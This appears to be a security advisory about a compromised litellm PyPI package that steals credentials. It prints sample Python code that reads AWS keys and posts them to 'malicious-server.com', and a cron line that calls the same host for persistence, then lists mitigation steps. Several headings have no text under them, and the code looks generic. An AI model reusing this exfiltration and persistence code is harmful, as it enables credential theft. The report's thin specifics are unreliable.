Compromised litellm PyPI Package Delivers Multi-Stage Credential Stealer - Sonatype

Why This Matters Now

On December 10, 2023, Sonatype reported a critical security incident involving the litellm package on the Python Package Index (PyPI). The malicious version of litellm was designed to steal credentials through a sophisticated multi-stage process. This became urgent because many developers unknowingly installed the compromised package, putting their systems at risk of credential theft and other malicious activities.

Timeline of Events

Understanding the Attack Vector

The compromised litellm package contained a backdoor that executed a multi-stage credential theft operation. Here’s a breakdown of how it worked:

Stage 1: Initial Infection

When a developer installed the malicious version of litellm, the package executed a script that checked for the presence of certain environment variables and configuration files commonly used for storing credentials.

# Malicious code snippet from the compromised package
import os

def check_credentials():
    env_vars = ['AWS_ACCESS_KEY_ID', 'AWS_SECRET_ACCESS_KEY']
    for var in env_vars:
        if os.getenv(var):
            exfiltrate_data(os.getenv(var))

Stage 2: Data Collection

If the environment variables were found, the script collected the data and sent it to a remote server controlled by the attackers.

# Malicious code snippet for data exfiltration
import requests

def exfiltrate_data(data):
    url = 'https://malicious-server.com/exfil'
    headers = {'Content-Type': 'application/json'}
    payload = {'data': data}
    response = requests.post(url, json=payload, headers=headers)
    return response.status_code

Stage 3: Persistence

The script also modified the system’s crontab to ensure it ran periodically, maintaining persistence on the compromised system.

# Malicious cron job addition
* * * * * /usr/bin/python3 -c "import requests;requests.get('https://malicious-server.com/persist')"

Impact Analysis

The impact of this attack can be severe, leading to unauthorized access to cloud resources, data breaches, and financial loss. Here are some potential consequences:

• Credential Theft: Attackers gain access to sensitive credentials stored in environment variables or configuration files.
• Data Breaches: Once credentials are stolen, attackers can access databases, cloud storage, and other sensitive data.
• Financial Loss: Unauthorized access to cloud services can result in unexpected charges and financial losses.
• Reputation Damage: Security breaches can damage the reputation of an organization and erode customer trust.

Steps to Mitigate the Threat

Step 1: Uninstall the Malicious Package

First, identify and uninstall the malicious version of litellm from all affected systems.

# Uninstalling the compromised package
pip uninstall litellm

Step 2: Update Dependencies

Ensure that all dependencies are up to date and free from known vulnerabilities.

# Updating all pip packages
pip list --outdated --format=freeze | grep -v '^\-e' | cut -d = -f 1  | xargs -n1 pip install -U

Step 3: Monitor for Suspicious Activity

Set up monitoring tools to detect unusual network traffic or unauthorized access attempts.

# Example command to monitor network connections
sudo lsof -i -P -n | grep ESTABLISHED

Step 4: Rotate Credentials

Change all compromised credentials immediately to prevent further unauthorized access.

# Example AWS CLI command to rotate credentials
aws iam create-access-key --user-name my-user

Step 5: Implement Security Best Practices

Adopt security best practices to prevent future incidents.

# Example of using environment variables securely
export AWS_ACCESS_KEY_ID='your-access-key-id'
export AWS_SECRET_ACCESS_KEY='your-secret-access-key'

Comparison of Security Approaches

Quick Reference

Detailed Explanation of the Exploit

Conclusion

The compromised litellm package highlights the importance of vigilance and proactive security measures in the software development lifecycle. By taking immediate action and implementing best practices, developers can mitigate the risks associated with such threats.

• Uninstall the compromised package
• Update your dependencies
• Monitor for suspicious activity
• Rotate your credentials